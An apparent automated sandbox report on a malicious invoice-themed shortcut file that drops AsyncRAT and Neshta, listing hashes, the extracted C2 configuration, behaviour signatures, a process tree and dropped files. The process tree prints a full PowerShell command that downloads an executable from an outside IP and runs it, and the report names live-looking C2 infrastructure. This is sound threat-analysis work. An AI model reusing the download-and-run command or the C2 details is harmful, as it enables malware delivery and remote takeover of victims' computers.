Analysis

  • max time kernel
    141s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220414-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-07-2022 14:46

General

  • Target

    FACTURE_.lnk

  • Size

    1012B

  • MD5

    60cddf458ccce0249bc3654f282f7b2e

  • SHA1

    19a6ab379f925509d7cc36524c716877f4a268a0

  • SHA256

    b0cf721309f7ea1684e2593a3e3c98f080146274432f39c9e2d2982ba1c9da95

  • SHA512

    cd86c8e423ad3eaad92e67241896976c5e02ecea5d0c2dafef08e17eb6786fae0682d5bd0e59897b06faf06a3cef4a3883c03331c450574ae753bba6477bda91

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

secureyourdataarea1.duckdns.org:56390

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_file

    svchost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Detect Neshta payload 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\FACTURE_.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'http://52.149.215.0/svchost.exe' -OutFile $env:temp\file.exe; set a=ec; start $env:temp\file.exe
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3204
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Modifies system executable filetype association
        • Executes dropped EXE
        • Checks computer location settings
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4240
        • C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe
          "C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe
            0
            5⤵
            • Modifies Windows Defender Real-time Protection settings
            • Executes dropped EXE
            • Windows security modification
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:772
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell" Get-MpPreference -verbose
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3792

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    d5a6408e58a8e6cdcac441b2724bdeea

    SHA1

    c32347262903a5db5422c41c280fe975731155a1

    SHA256

    6927aa1bd6f5b470b786b77ac7deac1ac4afcfa7650bc5c72358b3e8462e32d3

    SHA512

    f630fa6616ed5aeb1c875f1573de5ca3db917ff6b2d5cb8d3da37ae9e45104a8ebf46b2504d1281b9d3b6705bbf3422c9b40c20b64417ef932c68b314e3aee14

  • C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe

    Filesize

    438KB

    MD5

    61f89c90f92b2579d100f2af29f8375b

    SHA1

    94b645443699532b764963a6340dc2001de78146

    SHA256

    531a2ee7e49f863969f2e353cfc0d62117d4857c9cf3784fa387c72a9911b757

    SHA512

    fadb57106257333e6e34de9f7a47ca99b1aa628ddb4d973b088a66e3d7d7dda339a680204671bedf96aab68adaeb3797f82c06743dd550eb71d3f850e4214715

  • C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe

    Filesize

    438KB

    MD5

    61f89c90f92b2579d100f2af29f8375b

    SHA1

    94b645443699532b764963a6340dc2001de78146

    SHA256

    531a2ee7e49f863969f2e353cfc0d62117d4857c9cf3784fa387c72a9911b757

    SHA512

    fadb57106257333e6e34de9f7a47ca99b1aa628ddb4d973b088a66e3d7d7dda339a680204671bedf96aab68adaeb3797f82c06743dd550eb71d3f850e4214715

  • C:\Users\Admin\AppData\Local\Temp\3582-490\file.exe

    Filesize

    438KB

    MD5

    61f89c90f92b2579d100f2af29f8375b

    SHA1

    94b645443699532b764963a6340dc2001de78146

    SHA256

    531a2ee7e49f863969f2e353cfc0d62117d4857c9cf3784fa387c72a9911b757

    SHA512

    fadb57106257333e6e34de9f7a47ca99b1aa628ddb4d973b088a66e3d7d7dda339a680204671bedf96aab68adaeb3797f82c06743dd550eb71d3f850e4214715

  • C:\Users\Admin\AppData\Local\Temp\file.exe

    Filesize

    479KB

    MD5

    4c6b01344809054252095695fe24aa5f

    SHA1

    d1571b19723ebb0def5a71b7d977ef4c5bdb66ab

    SHA256

    b20bdd03ad605edafccbed9cbf281d1fd370116dd07e335fc2f428e9efb2863b

    SHA512

    a26600e8233e90034a3a731246bdc634bc30478ea995c37317ef2e8139200f09446c4b78b500ffec5d7a84045790d0e80d20e4ba58cf28f0e4358f80e1db3af0

  • C:\Users\Admin\AppData\Local\Temp\file.exe

    Filesize

    479KB

    MD5

    4c6b01344809054252095695fe24aa5f

    SHA1

    d1571b19723ebb0def5a71b7d977ef4c5bdb66ab

    SHA256

    b20bdd03ad605edafccbed9cbf281d1fd370116dd07e335fc2f428e9efb2863b

    SHA512

    a26600e8233e90034a3a731246bdc634bc30478ea995c37317ef2e8139200f09446c4b78b500ffec5d7a84045790d0e80d20e4ba58cf28f0e4358f80e1db3af0

  • memory/772-149-0x0000000006630000-0x000000000664E000-memory.dmp

    Filesize

    120KB

  • memory/772-147-0x0000000005680000-0x00000000056E6000-memory.dmp

    Filesize

    408KB

  • memory/772-148-0x0000000006570000-0x00000000065E6000-memory.dmp

    Filesize

    472KB

  • memory/772-142-0x0000000000000000-mapping.dmp

  • memory/772-145-0x0000000000610000-0x0000000000622000-memory.dmp

    Filesize

    72KB

  • memory/772-146-0x0000000005BC0000-0x0000000006164000-memory.dmp

    Filesize

    5.6MB

  • memory/3204-136-0x00007FFB69B10000-0x00007FFB6A5D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3204-131-0x000001A8F8520000-0x000001A8F8542000-memory.dmp

    Filesize

    136KB

  • memory/3204-130-0x0000000000000000-mapping.dmp

  • memory/3204-132-0x00007FFB69B10000-0x00007FFB6A5D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3792-152-0x00000000051E0000-0x0000000005808000-memory.dmp

    Filesize

    6.2MB

  • memory/3792-160-0x00000000079A0000-0x000000000801A000-memory.dmp

    Filesize

    6.5MB

  • memory/3792-166-0x0000000007690000-0x0000000007698000-memory.dmp

    Filesize

    32KB

  • memory/3792-150-0x0000000000000000-mapping.dmp

  • memory/3792-151-0x0000000004A80000-0x0000000004AB6000-memory.dmp

    Filesize

    216KB

  • memory/3792-165-0x00000000076A0000-0x00000000076BA000-memory.dmp

    Filesize

    104KB

  • memory/3792-153-0x0000000005110000-0x0000000005132000-memory.dmp

    Filesize

    136KB

  • memory/3792-154-0x0000000005980000-0x00000000059E6000-memory.dmp

    Filesize

    408KB

  • memory/3792-164-0x0000000007590000-0x000000000759E000-memory.dmp

    Filesize

    56KB

  • memory/3792-156-0x0000000006050000-0x000000000606E000-memory.dmp

    Filesize

    120KB

  • memory/3792-157-0x0000000006600000-0x0000000006632000-memory.dmp

    Filesize

    200KB

  • memory/3792-158-0x000000006FB00000-0x000000006FB4C000-memory.dmp

    Filesize

    304KB

  • memory/3792-159-0x00000000065E0000-0x00000000065FE000-memory.dmp

    Filesize

    120KB

  • memory/3792-163-0x00000000075E0000-0x0000000007676000-memory.dmp

    Filesize

    600KB

  • memory/3792-161-0x0000000007360000-0x000000000737A000-memory.dmp

    Filesize

    104KB

  • memory/3792-162-0x00000000073D0000-0x00000000073DA000-memory.dmp

    Filesize

    40KB

  • memory/4240-133-0x0000000000000000-mapping.dmp

  • memory/4524-141-0x00000000060E0000-0x000000000617C000-memory.dmp

    Filesize

    624KB

  • memory/4524-137-0x0000000000000000-mapping.dmp

  • memory/4524-140-0x0000000000AB0000-0x0000000000B24000-memory.dmp

    Filesize

    464KB